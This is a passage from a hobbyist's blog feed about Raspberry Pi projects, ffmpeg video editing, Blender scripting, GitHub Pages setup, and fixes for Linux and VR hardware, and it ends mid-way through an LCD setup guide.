<pubDate>Sun, 21 Jul 2019 15:33:28 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2019.html#p210720191533</link>
<description>
Life is strange. The little side project that was shown to [url title="Her Royal Highness"]Nov2016.html#p261120161411[/url] back in [url title="2016"]year2016.html[/url] was required again last week.

My Raspberry Pi Model B VR game was used at an event called Teen Tech. Encouraging youngster so to look at STEM careers.

(same video)
<iframe width="560" height="315" src="https://www.youtube.com/embed/wFX4mFt_HOc" frameborder="0" allowfullscreen></iframe>

What was interesting was that each teenager(and one teacher) were very engaged when in VR, but their class mates who were waiting(and most teachers) were completely ambivalent. Some using their phones or chatting. We tried to get some camaraderie going, but it did not work as well as you would think in most cases.

I had printed out some useful information sheets about VR, how it worked, what it could be used for, why we get motion sick, what the future of VR was and a few other bits. Only one teacher tried to get her class to look at them.

We had a range of confidence levels from the participants. From "I have down all the VR games before" to "AGHHHhhh!". The first one was impressed surprised how much more immersive the HTC Vive compared to more basic VR. The second one was terrified of the initial experience, but we got them enjoying it and having fun by the end. We also had to deal with "dancers" and "lungers". With limited space and only myself and one other we had to stop people jumping and striding from one end of the space to other and banging into walls.

FYI, I did not get hit in the face, but my colleague did. :) Too slow.

This was all done as a bit of CSR Corporate Social Responsibility. E.g. Giving back to the community.

If this continues, I think I would like to revisit a number of aspects about the experience.

Two main ones are to do with visibility. I had already added a way to make the Pi go up and down to accommodate shorter users, but it is difficult to use and a better way would be for the operator to make slight changes from the laptop running the the game. Currently interacting with the buttons causes large changes and the Pi ends up on the floor.
Speaking of the floor, the flat grey chips are sometimes hard to see on the floor as they look like odd shadows, especially from a distance.

We were lucky to have a very stable floor and the only time the alignment got out of whack was when a tripod holding one of the HTC lighthouse got nudged ever so slightly. Unfortunately this meant the virtual floor was below the physical floor and thin items could not be picked up.

I could fix this with a larger bounding box. On the subject of bounding boxes, I could make them glow and increase in brightness as the game plays out. One of the items seems to have a hit area of only the edges and people kept trying to pick it up from it's centre of mass, where it is empty and failing.

Finally one last issue to fix, that I had not seen as such as an issue as before in teleport distance. More than once, a participant managed to teleport through a window when they first started and then had difficulty getting back. Previously the walls stopped this, not sure why it was being bypassed so easily. Coding a hard edge would be easy.

One little demo to test how the Unity system worked has lead all this way :)

Here are the posters from the game and show how it all works.
<img alt="Raspberry Pi VR poster showing game flow" src="images/raspberry_pi_B_poster_tipped.jpg" />
<img alt="Raspberry Pi VR poster showing component locations" src="images/raspberry_pi_B_exploded_export.jpg" />
</description>
</item>
<item>
<title>github project page magic branching</title>
<pubDate>Sun, 14 Jul 2019 18:05:06 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2019.html#p140720191805</link>
<description>
Another very quick how-to setup your own Github project page

Create a new new branch in your existing repo

<code>git checkout -b gh-pages</code>
[em]gh-pages[/em] is a special magic branch name for creating github pages

Now create an index.html and commit and push it.
<code>
git add index.html; git commit -m "index.html placeholder"
git push origin gh-pages
</code>

Note how I explicitly added [em]index.html[/em] and not [em]*[/em]? That was because I only want that single file on the pages site at the moment.

Wait a few moments and your new page will be ready at
https://username.github.io/projectname
e.g.
[url]https://robgithub.github.io/AnagramSharkAttackJS-E/[/url]

Got all this from a handy guide at [url title="Thinkful"]https://www.thinkful.com/learn/a-guide-to-using-github-pages/[/url]

Now the one bit that [url title="Thinkful"]https://www.thinkful.com/learn/a-guide-to-using-github-pages/[/url] did not detail.

How to get back to my Master branch I was previously working on.
<code>git checkout master</code>
and you can use 
<code>git status</code>
to check which branch you are currently on at anytime.
</description>
</item>
<item>
<title>github user page how to magic repo</title>
<pubDate>Sun, 14 Jul 2019 17:47:36 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2019.html#p140720191747</link>
<description>
Very quick how-to setup your own Github user page

Create a new repo and name it

[em]username.github.io[/em]
(obviously setting the [em]username[/em] bit to be your username)

Also, do not get confused with the GitHub create repo page.
<code>username/ [                    ]</code>
you still need the [em]username[/em] e.g.
<code>username/ [username.github.io  ]</code>

Clone the new repo to your machine.
<code>git clone https://github.com/username/username.github.io.git</code>
(change both username instances)

Now create an index.html and commit and push it.
<code>
git add *; git commit -m "index.html placeholder"
git push -u origin master
</code>

Wait a few moments and your new page will be ready at
https://username.github.io/
e.g.
[url]https://robgithub.github.io/[/url]

Got all this from a handy guide at [url title="Thinkful"]https://www.thinkful.com/learn/a-guide-to-using-github-pages/[/url]
</description>
</item>
<item>
<title>ramming extra so dimm into hp blocked</title>
<pubDate>Sun, 14 Jul 2019 15:58:51 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2019.html#p140720191558</link>
<description>
Time for a rant;

I have a second hand, reconditioned HP Pavilion DV2000 laptop, that I use for Linux testing and it is slooooow.

Did not want to invest in an SSD, so I looked into upgrading the memory. HP's site reports this model comes as 1GB, upgradable to a maximum of 2GB.

In Ubuntu I run

<code>free -g</code>
and get back 1

Quick Amazon search and I have ordered a new 1GB(very specific model) Dimm(Direct Inline Memory Module) &pound;7.88(INC. P&amp;P and VAT). 24hrs later I have it in my hand. 

Open up the laptop(has nice easy access to the Dimm bay) and ... 

There are two Dimms ... maybe they are 512MB each? 

Nope both are 1GB.

Boot into BIOS, 1024MB ????

Re-seat memory Boot into BIOS, 2048MB, phew!

Back into Ubuntu ...

<code>free -g</code>
and get back 1

uh oh

<code>free -m</code>
and get back 1984

erm, so it would have never shown 2GB?

exactly the same with sudo

Now I need to go on a crusade to find out why Linux is reporting 2GB RAM as 1984MB

is it GB, Gb, gb GiB ?

<code>sudo lswh -c memory</code>
clearly shows two slots each with 1GiB

<code>free -h</code>
shows 1.9G

So, I now have a spare 1G of RAM that may or may not be 1GB or 1GiB
[url title="Wikipedia explains GB GiB]https://en.wikipedia.org/wiki/Gigabyte[/url]
</description>
</item>
<item>
<title>the blood is in the water again</title>
<pubDate>Tue, 02 Jul 2019 22:10:17 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2019.html#p020720192210</link>
<description>
Many years ago I did some [url title="Silverlight"]http://www.slsushi.co.uk/[/url] games, apps and demos.

The [url title="Silverlight Eyes (SliBalls)"]http://www.pay4foss.org/jumpstation/sliball[/url] has already been converted into html as [url title="HTML5Eyeball"]https://github.com/robgithub/html5eyeball[/url]

Now I plan on resurrecting [url title="Anagram Shark Attack"]http://www.pay4foss.org/jumpstation/AnagramSharkAttack/[/url]. I am creating everything from scratch, so it may take while.

Has it's own [url title="GitHub repo AnagramSharkAttackJS-E"]https://github.com/robgithub/AnagramSharkAttackJS-E[/url]. Which is JavaScript-Edition.

"The blood is in the water, again"
</description>
</item>
<item>
<title>spreading a little mustard on the ketchup pebble watch</title>
<pubDate>Tue, 02 Jul 2019 21:54:46 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2019.html#p020720192154</link>
<description>
My [url="Pebble Time Watch"]/flog/tags.html?tag=pebble[/url] broke. Not bad for four years of constant abuse.

I was worried that a replacement might be hard to come by, but it is a standard size and Amazon had a lot to choose from.

This is what I went for.
<img src="images/pebble_watch_strap.jpg" alt="Pebble time watch with replacement archer strap, mustard yellow." >
Bit mustardy, but I like it.
</description>
</item>
<item>
<title>blender perspective camera under the microscope</title>
<pubDate>Tue, 02 Jul 2019 20:59:51 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2019.html#p020720192059</link>
<description>
I was interested in finding out how the settings for the Blender perspective camera work. So I created these nine videos looking at
sensor size at 16 varying the focal length 
sensor size at 32 varying the focal length 
sensor size at 64 varying the focal length 
sensor size at 100 varying the focal length 
focal length at 1 varying the sensor size
focal length at 35 varying the sensor size
focal length at 64 varying the sensor size
focal length at 150 varying the sensor size
focal length at 250 varying the sensor size
<iframe width="560" height="315" src="https://www.youtube.com/embed/6Je53UrRHsY" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
Which produces these interesting and quite varied zooming affects, reminiscent of early film making special effects.

I then had fun with ffmpeg to create the grid
[url title="fighting ffmpeg for a grid layout that does not suck"]/flog/Jun2019.html#p010620192305[/url]
[url title="ffmpeg video 3x3 grid with scaling"]/flog/Jun2019.html#p010620192121[/url]
</description>
</item>
<item>
<title>deep dive into oioiiooixiii</title>
<pubDate>Sun, 02 Jun 2019 16:24:37 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2019.html#p020620191624</link>
<description>
After a lot of Googling for the [url title="previous ffmpeg references"]Jun2019.html#p010620192121[/url] I came across [url title="this 16x9 video grid created in FFmpeg"]https://oioiiooixiii.blogspot.com/2017/08/ffmpeg-144-16x9-grid-of-random-limmy.html[/url].
Then I found some other interesting stuff on that site and spent too many hours pouring through ever single post for the last 4 years.
this is just some of the amazing stuff I found;


windows xp image viewer rotations with automated save
[url]https://oioiiooixiii.blogspot.com/2014/08/the-effects-of-rotating-images-in.html[/url]

mplayer entropy
[url]https://oioiiooixiii.blogspot.com/2014/09/mplayer-loop-entropy.html[/url]
[url]https://oioiiooixiii.blogspot.com/2015/03/how-to-progressive-chroma-glitching.html[/url]
[url]https://oioiiooixiii.blogspot.com/2015/05/comparing-mplayer-glitching-of.html[/url]

ffmpeg-chromatic-aberration - complexity and power
[url]https://oioiiooixiii.blogspot.com/2015/07/ffmpeg-chromatic-aberration.html[/url]

ffmpeg recursive capture snake
[url]https://oioiiooixiii.blogspot.com/2016/05/ffmpeg-recursive-video-capture.html[/url]
and chroma
[url]https://oioiiooixiii.blogspot.com/2017/09/ffmpeg-rainbow-trail-chromakey-effect.html[/url]

ffmpeg recursive stacking
[url]https://oioiiooixiii.blogspot.com/2016/08/ffmpeg-recursive-effects-of-stacking.html[/url]

ffmpeg video stabilisation
[url]https://oioiiooixiii.blogspot.com/2016/09/ffmpeg-video-stabilisation-using.html[/url]

ffmpeg crazy
[url]https://oioiiooixiii.blogspot.com/2016/09/ffmpeg-create-video-composite-of.html[/url]

ImageMagick plus sed
[url]https://oioiiooixiii.blogspot.com/2017/03/bash-glitch-images-using-sed.html[/url]

ffmpeg-predator-1987-movie-adaptive camo
[url]https://oioiiooixiii.blogspot.com/2017/06/ffmpeg-predator-1987-movie-adaptive.html[/url]

ffmpeg-144-16x9-grid-of-random-limmy
[url]https://oioiiooixiii.blogspot.com/2017/08/ffmpeg-144-16x9-grid-of-random-limmy.html[/url]

ffmpeg based video editor
[url]https://oioiiooixiii.blogspot.com/2017/08/ffmpeg-simple-video-editor-with-zenity.html[/url]

ffmpeg temporal slice stacking
[url]https://oioiiooixiii.blogspot.com/2017/11/ffmpeg-temporal-slice-stacking-effect.html[/url]

ImageMagick reversible obfuscation
[url]https://oioiiooixiii.blogspot.com/2018/02/imagemagick-reversible-image-masking.html[/url]

CRT affect in ffmpeg
[url]https://oioiiooixiii.blogspot.com/2019/04/ffmpeg-crt-screen-effect.html[/url]

bash voices
[url]https://oioiiooixiii.blogspot.com/2018/08/bash-create-cacophony-of-voices-with.html[/url]
</description>
</item>
<item>
<title>fighting ffmpeg for a grid layout that does not suck</title>
<pubDate>Sat, 01 Jun 2019 23:05:26 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2019.html#p010620192305</link>
<description>
OK, so who ever wrote the [url title="FFmpeg documentation for xscale"]https://ffmpeg.org/ffmpeg-filters.html#Examples-112[/url] must have been high or having a laugh.

[url title="That last input string"]Jun2019.html#p010620192121[/url]
<code>xstack=inputs=9:layout=w3_0|w3_h0+h2|w3_h0|0_h4|0_0|w3+w1_0|0_h1+h2|w3+w1_h0|w3+w1_h1+h2</code>
created this pattern from my nine videos;
285
413
769

to get the more sensible;
123
456
789
pattern use
<code>xstack=inputs=9:layout=0_0|w0_0|w0+w1_0|0_h0|w0_h0|w0+w1_h0|0_h0+h1|w0_h0+h1|w0+w1_h0+h1</code>

strangely
<code>xstack=inputs=9:layout=0_0|w1_0|w1+w2_0|0_h1|w1_h1|w1+w2_h1|0_h1+h2|w1_h1+h2|w1+w2_h1+h2</code>
did not work, even though all the videos are the same size.
and 
<code>xstack=inputs=9:layout=0_0|1_0|2_0|0_1|1_1|2_1|0_2|1_2|2_2</code>
really did not work, though at the outset it seemed the most logical. It created the grid at single pixel offsets with the last video covering all the rest, bar a two pixel line on the top and left.
</description>
</item>
<item>
<title>ffmpeg video 3x3 grid with scaling</title>
<pubDate>Sat, 01 Jun 2019 21:21:19 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2019.html#p010620192121</link>
<description>
More FFmpeg, this time creating a 3x3 grid of nine videos, scaling each by 3 before combining them.

Once again this was a lot of trial an error, and more error, until it worked.
<code>ffmpeg \
-i video1.mp4 \
-i video2.mp4 \
-i video3.mp4 \
-i video4.mp4 \
-i video5.mp4 \
-i video6.mp4 \
-i video7.mp4 \
-i video8.mp4 \
-i video9.mp4 \
-filter_complex "[0:v]scale=w=iw/3:h=ih/3[v0]; \
[1:v]scale=w=iw/3:h=ih/3[v1]; \
[2:v]scale=w=iw/3:h=ih/3[v2]; \
[3:v]scale=w=iw/3:h=ih/3[v3]; \
[4:v]scale=w=iw/3:h=ih/3[v4]; \
[5:v]scale=w=iw/3:h=ih/3[v5]; \
[6:v]scale=w=iw/3:h=ih/3[v6]; \
[7:v]scale=w=iw/3:h=ih/3[v7]; \
[8:v]scale=w=iw/3:h=ih/3[v8]; \
[v0][v1][v2][v3][v4][v5][v6][v7][v8]\
xstack=inputs=9:layout=w3_0|w3_h0+h2|w3_h0|0_h4|0_0|w3+w1_0|0_h1+h2|w3+w1_h0|w3+w1_h1+h2" \
 grid.mp4</code>

Specify each of your input videos.

Create a Complex Filter and map each video to itself scaled down by a 3rd to [vn]. Where [em]n[/em] is the input reference.

Then feed all those new mapped inputs into the [em]xstack[/em] filter which creates the output. Using the layout from the [url title="Documentation"]https://ffmpeg.org/ffmpeg-filters.html#Examples-112[/url]. I have no idea what all that means.

Do not try and map the [em]xstack[/em] filter to a new stream and then use the [em]-map[/em] option to get it at the end, does not work!
</description>
</item>
<item>
<title>blender animation custom python metadata</title>
<pubDate>Fri, 31 May 2019 23:34:52 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2019.html#p310520192334</link>
<description>
I have been mucking about with cameras in Blender to try and get a good match on a photograph. The photograph is taken from an odd location and has some lens distortions that I can not match. In response am creating videos showing how varying the different camera parameters affects the view.

As part of this I wanted to show the camera parameters as they changed. Blender has a metadata option and there is great write up about how to use Python to add custom data [url title="here"]https://blender.stackexchange.com/questions/26643/how-to-show-render-stamp-for-arbitrary-values[/url] that appears to have been taken from [url title="here"]https://gooseberry.blender.org/simple-python-tips-for-artists/[/url]
which is often referenced with [url title="how to show the metadata outside of the frame"]https://blender.stackexchange.com/questions/26646/how-to-display-render-stamp-outside-the-frame/27643#27643[/url]

This what worked for me
<code>import bpy

def stamp_set(scene):
    render = scene.render
    render.use_stamp_note = True
    render.stamp_note_text = "Sensor size: {:.2f}".format(bpy.data.cameras[0].sensor_width)

bpy.app.handlers.render_pre.clear()      
bpy.app.handlers.render_pre.append(stamp_set)</code>

Which will clear all existing pre-render handlers and then add my custom one that sets the metadata to include the camera sensor width each time a frame renders.
</description>
</item>
<item>
<title>i am tierd and i want to go to bed</title>
<pubDate>Sat, 25 May 2019 22:16:06 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2019.html#p250520192216</link>
<description>
Recently I have noticed I am spending too much time on watching videos, from GoT and Battlestar Galactica to YouTube. To combat this I have instigated a number of counter measures.

Phone limits YouTube App time to 1hr per day so I still get my fix.
Phone switches into Wind Down mode. Screen goes grey scale, but still works if necessary.
The under-shelf lighting shifts to a Pink colour.
And on top of that I am trying(really hard) to go to be earlier.

If I am desperate to waste my time and stay up late, I can still do it, but so far these measures are making a big impact.

Now if I could just come up with a way to remind myself to exercise each day ...
</description>
</item>
<item>
<title>forcing ffmpeg to my overlaying will</title>
<pubDate>Sat, 25 May 2019 19:48:43 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2019.html#p250520191948</link>
<description>
I had been asked to compile a video from two different sources for a sports event. Blender to the rescue and after about 24hrs I had a 15 minute video. Not very efficient.

Then I had the sources updated and I tried again. This time I knew what I was doing but the Rendering was still taking many hours.

When I was asked for a third time I took step back and reviewed what I was doing;
<ul><li>Scale camera 2 footage for a Picture-in-Picture look</li><li>Overlay that on top of the main video</li><li>Somewhere in between those, offset the start of camera 2 to synchronise with the action from camera 1</li><li>Overlay an information screen at different time indexes</li></ul>

FFmpeg is incredibly powerful, but also a bit of a black box, requiring strange incantations. However there is a lot of people talking about it on the various StackOverflow sites and I managed to piece the following together.

<img src="images/ffmpeg_cam1and2.png" alt="example cam1 next to cam2">

<code>ffmpeg -i camera2.mp4 -vf scale=384:216 camera2_scaled.mp4</code>
Scales the camera2.mp4 to 384x216, which is just about right for the PiP overlay to not occlude any of the action.

<code>ffmpeg -i camera2.mp4 -ss 00:00:00.75 camera2_offset.mp4</code>
Creates a video that skips the first .75 seconds, offsetting it by that amount. That tiny amount was almost imperceptible when combining the two videos at the beginning, but by the end the synchronisation was way off and very annoying.

FFmpeg being a typical linux application can combine these.
<code>ffmpeg -i camera2.mp4 -ss 00:00:00.75 -vf scale=384:216 camera2_scaled_and_offset.mp4</code>

<img src="images/ffmpeg_cam1overlay2.png" alt="example cam2 overlaid and scaled on cam1">

Now the overlay.
<code>fmpeg -i camera1.mp4 -i camera2_scaled_and_offset.mp4 -filter_complex "[0:v][1:v] overlay=0:504" PiPOverlay.mp4</code>
Takes the inputs "camera1.mp4" and "camera2_scaled_and_offset.mp4" and using a complex filter(more on that later) overlays video index 1 [1:v] on top of video index 0 [0:v] at the pixel location of 0,504. Putting it in the bottom left corner.

There was some editing/cutting of the footage next.

<code>ffmpeg -i PiPOverlay.mp4 -t 00:29:30 -acodec copy -vcodec copy part1.mp4</code>
This creates a new video "part1.mp4" that contains only the first 29 mins 30 seconds.

<code>ffmpeg -i PiPOverlay.mp4 -ss 00:31:30 -to 00:33:18 -acodec copy -vcodec copy part2.mp4</code>
This creates a new video "part2.mp4" that contains only the frames from 31:30 to 33:18.

Then to combine them you need a text file listing the components in order.
<code>find . -iname "part*" -printf "file '%f'\n" | sort -n &gt; part.list
ffmpeg -f concat -i part.list -c copy video_parts_combined.mp4</code>
The find command prints out the file names with a "file " prefix and sorts them numerically(computers like to order things alphabetically) and the output is stored in "part.list".
The "concat" command of FFmpeg then concatenates them together.

<img src="images/ffmpeg_cam1overlay2.png" alt="example image sequence">

Next I did a nice information card in Blender matching the resolution of my target video. Low number of samples, orthographic camera, all Emission materials. Then I parented all the components and animated them with a bounce. Rendered that as a transparent PNG sequence.

<img src="images/ffmpeg_cam1overlay2.png" alt="example image sequence overlaid on target video">

Found a lot of examples for FFmpeg that did not quite match my requirement or that had lots of extra parameters that were not needed for what I wanted. This was the result, after a lot of trail and error.
<code>
STARTSEC=3
MIDSEC=$((60*17))
ENDSEC=$((60*31))
ffmpeg -i video_parts_combined.mp4 \
  -itsoffset $STARTSEC -i /tmp/%04d.png \
  -itsoffset $MIDSEC -i /tmp/%04d.png \
  -itsoffset $ENDSEC -i /tmp/%04d.png \
 -filter_complex "[0:v][1:v]overlay [temp0]; \
[temp0][2:v]overlay [temp1]; \
[temp1][3:v]overlay [out]" -map [out] finished.mp4</code>

First I created three variables for easy alterations. One for each of the areas that the info card should appear; at 3 seconds and then at 17 minutes and 31 minutes. Then I created four inputs for FFmpeg; the base video and the image sequence three times each with the different start offsets.
Now we get into filter_complex territory; video index 1 [1:v] is overlaid on video index o [0:v], but assigned to [temp0] then [temp0] is overlaid with video index 2 [2:v] and assigned to [temp1]. This is repeated to overlay video index 3 [3:v] onto [temp1], resulting in [out].
The "-map" takes the [out] and creates the final "finished.mp4" video file.

Caution: I was not interested in audio in any of this process, so reuse at your own risk.
</description>
</item>
<item>
<title>ubuntu takes control windows style</title>
<pubDate>Sat, 18 May 2019 15:52:48 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2019.html#p180520191552</link>
<description>
Ubuntu WTH!

I have an old laptop with Ubuntu on that had been buried under a stack of paper for a few months. Finally fished it out and started it up.

First job update APT cache.
<code> sudo apt-get update</code>
... ran fine
next actually upgrade the packages installed.
<code> sudo apt-get upgrade</code>
... ERROR
something about the lock file for frontend being in use. 

Try again and again and then check if anything is using frontend
<code>lsof | egrep frontend</code>
nothing...

Double check any other apps running, you know like the Software Updater. There is nothing other than my terminal!

Time to reboot

<code class="output">Unattended-upgrade in progress during shutdown, please don't turn off the computer</code> 

AGHHHhhh...!! I am not running Windows!

DO NOT WANT!

All the Ubuntu devs had to do was have the Software Updater GUI showing, like they do normally, but apparently I am not allowed to know what my system is doing :(

I would love to switch to another distro, but this machine runs Ubuntu to make sure it runs bog standard.
</description>
</item>
<item>
<title>blender vse fight scene at start frame</title>
<pubDate>Sat, 18 May 2019 14:34:43 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2019.html#p180520191434</link>
<description>
Quick note to myself about Blender animations that contain Videos and Scenes.
DO NOT START AT ANY OTHER FRAME THAN 0 !!!

Context: 
Loaded a 30min video into the Video Sequencer and then created a Scene with animated elements. Added the Scene to the VSE and everything worked well. Started the render going ...
12hrs later the drive ran out of space (19G) and the render stopped. Then I moved everything to a new drive and set the [em]Start frame[/em] to be the "next" frame and set it rendering again.

I noticed that the progress information kept flicking from one value to another for the "current frame". After 6hrs I realised this was rendering the Scene frame well ahead of the video frame.

When you set the [em]Start frame[/em] in a normal Blender animation that is the frame Blender starts rendering from. But when you have a VSE setup the video frame matches the [em]Start frame[/em] but the Blender Scene instead renders frame n+[em]Start frame[/em].

The fix, of course, is to make sure the "overwrite" checkbox is cleared and just restart the render from [em]Start frame[/em] 1. Blender checks for the frame file names before it happily continues from [em]Start frame[/em].

And this is a reminder to ALWAYS render to PNG/JPEG not MPG/MP4 and then ffmpeg it back to a movie at the end.
</description>
</item>
<item>
<title>revive a vive in just four hours</title>
<pubDate>Fri, 26 Apr 2019 08:33:21 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2019.html#p260420190833</link>
<description>
Back in [url title="August 2016"]/flog/Aug2016.html#p300820161740[/url] I got access to an [url title="HTC Vive VR system"]/flog/tags.html?tag=vr[/url]. Had lots of [url title="fun"]/flog/Sep2016.html#p240920162243[/url] [url title="with it"]/flog/Sep2016.html#p240920161520[/url], including showing it to [url title="a Princess"]/flog/Nov2016.html#p221120162137[/url].

Since then it has been out a couple of times, but for at least a year, maybe two, it has been boxed up, out of the way. The lighthouse system needs a lot of space and the setup and put-away process is not quick.

Then I got the opportunity to set it up for a play with my boys. Unpacked all the hardware;

Vive link box
Vive Lighthouse x2
Vive Controller x2
Tripod x2
4-way power adaptor x2
Vive sync cable (very long)
headphones
Vive charger x2 (for controllers)
Vive headset
Various cables

Turned on the computer and;
Windows 10 update
Steam update
HTC Viveport update 

HTV Viveport seems to be HTC's own VR store, but as all my content is on steam I quickly dismissed it. It was quite insistent that I sign up for a monthly or yearly plan and I can see some users thinking that is the only way to use the Vive.

Then all the Steam VR games wanted to update. Then the C: drive ran out of space. Find out you cannot move Steam games if they are pending an update.

Then Steam VR wanted an update.

Ready to play?

NO!

Steam VR wanted to update 

Vive headset
Vive Lighthouse (each separately)
Vive Controller (each separately)

Now running Steam VR reported the Graphics driver was out of date !

Find that the NVidia GeForce Experience that should be doing updates wants me to create an account and the internet confirms nobody likes that. Download NVidia drivers separately.

Try and install drivers. After running for a bit reports that another process is updating and to try again later!

Windows is doing MORE updates!

AGHhhhh!

A reboot later and I can update the graphics driver and finally play a game.

That took just under four hours!

We had less than an hours play time before I had to pack it all away again.

Still, it will be quicker next time ;)
</description>
</item>
<item>
<title>icmp magic to enliven mote enlightenment</title>
<pubDate>Sun, 21 Apr 2019 11:08:18 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2019.html#p210420191108</link>
<description>
[url title="Last time]/flog/Apr2019.html#p080420191041[/url] on my quest for [url title="mote"]/flog/tags.html?tag=mote[/url] perfection I said I wanted to link the LEDs to my [url title="Toilet roll security camera"]/flog/tags.html?tag=camera[/url]

Well, I realised that having the [url title="Motes"]/flog/tags.html?tag=mote[/url] manually setup with Python meant I had to manually turn them off. I could leave them on 24x7, but that does not sit very well with me.

I wanted them to come on when I was at the computer and then turn off when I was not there. Additionally, I wanted that process to be fading not binary on/off.

Started off with some experiments into colour space in Python. This was much much simpler than I expected.

<code>import colorsys
H, S, V = colorsys.rgb_to_hsv(R, G, B)
V = V * brightness
R, G, B  = colorsys.hsv_to_rgb(H, S, V)</code>
Where [em]brightness[/em] is a floating point number between 0.0 - 1.0

So that was the fading/brightness taken care of. How to get a signal from the [url title="Toilet roll raspberry pi camera"]/flog/tags.html?tag=camera[/url] to the Mote controlling Raspberry Pi?

Ping! I really did not know how easy it would be to create a ICMP/Echo server, but I was really interested to find out. Python, as always, makes this almost a doddle.

<code>import sys, socket

def listen():
  try:
    s = socket.socket(socket.AF_INET,socket.SOCK_RAW,socket.IPPROTO_ICMP)
    s.setsockopt(socket.SOL_IP, socket.IP_HDRINCL, 1)
  except socket.error, err:
    print err
    print "run with sudo"
    sys.exit(2)
  s.settimeout(10)
  try:
    data, addr = s.recvfrom(1508)
    print "Packet from %r: %r" % (addr,data)
  except socket.timeout:
    print "timeout"

listen()</code>
FYI, that code is Python2 the final code was converted to Python3 by fixing the [em]print[/em] statements and changing the [em]socket.err, err:[/em] to [em]socket.err as err:[/em]

Running via [em]sudo[/em] then allows the program to intercept the ICMP/Ping messages. Sender still gets proper Ping responses.

Now every time the program received a Ping message it would increase the brightness and a timeout of not receiving a Ping message would decrease the brightness.

To augment the [url title="Toilet roll raspberry pi camera"]/flog/tags.html?tag=camera[/url] code all I had to do was add
<code>os.system('ping -c 1 pimote')</code>

into the PIR state change, remember the code checks to see if the camera should be taking pictures, it is always monitoring for PIR changes.

Latest mote code is on github [url]https://github.com/robgithub/undershelflighting[/url]

noticed the [url title="Toilet roll raspberry pi camera"]/flog/tags.html?tag=camera[/url] still has my secret keys embedded, naughty me! So, NOT on github.

Incidentally the [url title="Toilet roll raspberry pi camera"]/flog/tags.html?tag=camera[/url] has been running very happily for many years, but was not running last night. Tracked it down to having crashed when I moved everything around on my desk, must have knocked the SD card. They really stick out of the old Pis!
</description>
</item>
<item>
<title>Tales of 1.3in lcd woe ftw</title>
<pubDate>Fri, 19 Apr 2019 22:26:44 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2019.html#p190420192226</link>
<description>
Got this cool little LCD panel for less than 10&pound; 
<img src="images/waveshare1_3LCD_WiredtoPicustomimage.jpg" alt="Photograph of a Waveshare 1.3inch LCD Module connected to a Raspberry Pi showing a custom image on the LCD">
It is 240x240 (HD) 1.3in: RGB, 65K colours
Yes, it really says HD next to the dimensions on the [url title="product page"]https://www.waveshare.com/1.3inch-lcd-module.htm[/url]

It seems I am the only one that ever has issues getting things to work, so get ready for another rambling tale of woe, but I get it working in the end :)

In the box are;
LCD mounted on PCB
Cable with plug to PCB and individual wires to the Pi
Welcome note 

Welcome note says to go to 
[url]https://www.waveshare.com/wiki/[/url]
to download the drivers/manual.

Problem no 1.
The [url title="Wiki page"]https://www.waveshare.com/wiki/[/url] has hundreds and hundreds of products. 
Search in the Raspberry Pi section, nope.
Search the Display section, nope.
Eventually find [url title="1.3inch LCD Module"]https://www.waveshare.com/wiki/1.3inch_LCD_Module[/url] in the OLED section, even though it is not an OLED screen.

Great, now download the [url title="User Manual"]https://www.waveshare.com/w/upload/7/70/1.3inch_LCD_Module_user_manual_en.pdf[/url]
Quick flick down the 14 page PDF and ... Ah! a neat and clear diagram with all the wires connected to the Raspberry Pi.
And, it's colour coded, bonus!
Plug red one here, black there, green, yellow etc ... 
Hmmm, there is a purple cable in my wires and no purple on the diagram ... But there is a maroon cable. As all the other cables have been colour accounted for that must be my purple.
...
do all the software - more on that later
...
nothing works :(
Find that all the coloured cables in my hardware are connected to different output pins on the LCD circuit board!
Right, so the red cable maps to the maroon, the black to white etc ...
Eight cables later and it works!

Now all the non wiring things I had to do to get it to run the demos.

Always update your Pi before starting a new project.
<code>sudo apt-get update
sudo apt-get upgrade
</code>

Get the source code package. 
<code>wget https://www.waveshare.com/w/upload/5/5d/1.3inch_LCD_Module_code.7z
</code>

and unpack it. Rather oddly, the documentation instructs you to download to a PC/MAC, unpack it, copy it to the [em]boot[/em] partition on the SD card and then boot the Pi and copy it off again.
<code>p7zip -d 1.3inch_LCD_Module_code.7z</code>
Please note that you need to  
<code>sudo apt-get install p7zip-full</code>
as 
<code>sudo apt-get install p7zip</code>
managed to unzip most of the files but error-ed one one.

Now it wants us to install the chip-set drivers...
No link in the documentation...
No link on the [url title="wiki page"]https://www.waveshare.com/wiki/1.3inch_LCD_Module[/url]
...
Google ...
Found [url title="Libraries Installation for RPi"]https://www.waveshare.com/wiki/Libraries_Installation_for_RPi[/url] on [url title="Waveshares wiki"]https://www.waveshare.com/wiki/[/url], hidden, of course.
<code>wget https://www.waveshare.com/w/upload/d/d8/Bcm2835-1.45.tar.gz
tar zxvf Bcm2835-1.45.tar.gz 
cd bcm2835-1.45/
sudo ./configure
sudo make
sudo make check
sudo make install</code>
Not sure that we need all those [em]sudo[/em]s, but when "make" is run without "sudo" it errors. It is just "make" in the documentation :(

Also on that page is instructions to enable the SPI interface. You can ignore everything else on that page, it is generic to lots of their hardware.
<code>sudo raspi-config</code>
enable SPI and then reboot reboot

We have the demo code and chipset libraries, enabled the SPI interface, now we need the language libraries.

Wiring Pi; this just worked
<code>sudo apt-get install git
sudo git clone git://git.drogon.net/wiringPi
cd wiringPi/
sudo ./build</code>

Python sort of worked, this was in the documentation
<code>sudo apt-get install python-pip
sudo pip install RPi.GPIO
sudo pip install spidev
